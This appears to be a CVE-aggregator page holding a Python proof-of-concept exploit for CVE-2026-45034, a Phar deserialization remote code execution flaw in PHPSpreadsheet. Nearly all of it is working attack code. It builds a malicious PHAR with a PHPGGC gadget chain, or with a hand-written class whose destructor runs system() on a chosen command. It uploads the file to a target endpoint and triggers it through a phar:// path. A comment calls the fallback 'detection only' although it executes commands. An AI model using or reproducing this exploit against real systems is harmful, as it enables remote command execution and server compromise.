5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / xploit.py PY
#!/usr/bin/env python3
"""
CVE-2026-45034 - PHPSpreadsheet Phar Deserialization RCE
Author: Cyber DarkNay
Usage: python cve-2026-45034_exploit.py -u https://target.com -e index.php?page=import --cmd "id"
"""

import requests
import sys
import os
import argparse
import random
import string
import subprocess
import tempfile
from urllib.parse import urljoin

# ======================
# BANNER
# ======================
BANNER = """
╔══════════════════════════════════════════════════════════════════╗
║  ██████╗██╗   ██╗██████╗ ███████╗██████╗  █████╗ ██████╗ ██╗  ██╗
║ ██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██║ ██╔╝
║ ██║      ╚████╔╝ ██████╔╝█████╗  ██║  ██║███████║██████╔╝█████╔╝ 
║ ██║       ╚██╔╝  ██╔══██╗██╔══╝  ██║  ██║██╔══██║██╔══██╗██╔═██╗ 
║ ╚██████╗   ██║   ██████╔╝███████╗██████╔╝██║  ██║██║  ██║██║  ██╗
║  ╚═════╝   ╚═╝   ╚═════╝ ╚══════╝╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝
║          CVE-2026-45034 - PHPSpreadsheet Phar Deserialization    ║
║                     RCE via Phar Wrapper Bypass                  ║
╚══════════════════════════════════════════════════════════════════╝
[+] Author: Cyber DarkNay
"""

# ======================
# GADGET CHAIN (PHP 7.x - Guzzle/FnStream)
# ======================
# We'll use a simple PHP script to generate a PHAR with a serialized gadget.
# The gadget chain here uses GuzzleHttp\Psr7\FnStream which is common in many PHP apps.
# Alternatively, you can use PHPGGC (phpggc Guzzle/RCE1 system 'cmd' -p phar)

def generate_phar_with_phpggc(cmd):
    """
    Use PHPGGC to generate a PHAR payload.
    If phpggc not installed, fallback to manual gadget.
    """
    # Check if phpggc is available
    if subprocess.run("which phpggc", shell=True, capture_output=True).returncode == 0:
        tmp_phar = tempfile.NamedTemporaryFile(delete=False, suffix='.phar')
        tmp_phar.close()
        subprocess.run(f"phpggc Guzzle/RCE1 system '{cmd}' -p phar -o {tmp_phar.name}", shell=True, check=True)
        return tmp_phar.name
    else:
        # Fallback: manual PHAR with dummy gadget (not RCE, only detection)
        print("[!] phpggc not installed. Install: composer global require ambionics/phpggc")
        print("[!] Generating dummy PHAR for detection only...")
        dummy_phar = "exploit_dummy.phar"
        php_code = f'''<?php
class Pwn {{ public $cmd; public function __construct($c) {{ $this->cmd = $c; }} public function __destruct() {{ system($this->cmd); }} }}
$phar = new Phar("{dummy_phar}");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Pwn("{cmd}"));
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
'''
        with open("gen.php", "w") as f:
            f.write(php_code)
        subprocess.run(f"php -d phar.readonly=0 gen.php", shell=True, check=True)
        os.remove("gen.php")
        return dummy_phar

def upload_and_trigger(target_url, endpoint, phar_path, cmd):
    """
    Upload PHAR and trigger deserialization via phar:// wrapper.
    Adjust field names based on target's form structure.
    """
    # Read PHAR file
    with open(phar_path, 'rb') as f:
        phar_data = f.read()
    
    # Prepare multipart form-data
    boundary = '----' + ''.join(random.choices(string.ascii_letters + string.digits, k=16))
    lines = []
    # Field for file upload (common names: file, uploaded_file, spreadsheet, etc.)
    for field in ['file', 'uploaded_file', 'spreadsheet', 'excel']:
        lines.append(f'--{boundary}')
        lines.append(f'Content-Disposition: form-data; name="{field}"; filename="exploit.phar"')
        lines.append('Content-Type: application/octet-stream')
        lines.append('')
        lines.append(phar_data.decode('latin1'))
        break  # try first field; we can iterate later if needed
    
    # Parameter to trigger phar deserialization (common: filename, source, path)
    phar_wrapper = f"phar://exploit.phar/test.txt"
    for param in ['filename', 'source', 'path', 'filepath']:
        lines.append(f'--{boundary}')
        lines.append(f'Content-Disposition: form-data; name="{param}"')
        lines.append('')
        lines.append(phar_wrapper)
        break
    
    lines.append(f'--{boundary}--')
    body = '\r\n'.join(lines)
    
    headers = {
        'Content-Type': f'multipart/form-data; boundary={boundary}',
        'User-Agent': 'Mozilla/5.0'
    }
    
    url = urljoin(target_url, endpoint)
    print(f"[*] Sending exploit to {url}")
    try:
        r = requests.post(url, data=body.encode('latin1'), headers=headers, timeout=30, verify=False)
        print(f"[+] HTTP Status: {r.status_code}")
        if r.status_code == 200:
            print("[!] Check if command executed. Look for output or callback.")
            # Optional: save response for analysis
            with open("response.html", "w") as f:
                f.write(r.text)
            print("[*] Response saved to response.html")
        else:
            print("[-] Exploit might have failed.")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        os.remove(phar_path)

# ======================
# MAIN
# ======================
def main():
    print(BANNER)
    parser = argparse.ArgumentParser(description="CVE-2026-45034 PHPSpreadsheet Phar RCE")
    parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., https://target.com)")
    parser.add_argument("-e", "--endpoint", default="index.php?page=import", help="Vulnerable endpoint (default: index.php?page=import)")
    parser.add_argument("--cmd", default="touch /tmp/cve2026", help="Command to execute (default: touch /tmp/cve2026)")
    args = parser.parse_args()
    
    # Step 1: Generate PHAR payload
    print("[*] Generating PHAR payload...")
    phar_file = generate_phar_with_phpggc(args.cmd)
    print(f"[+] PHAR generated: {phar_file}")
    
    # Step 2: Upload and trigger
    upload_and_trigger(args.url, args.endpoint, phar_file, args.cmd)
    
    print("[*] Exploit finished. Check target for RCE.")

if __name__ == "__main__":
    import urllib3
    urllib3.disable_warnings()
    main()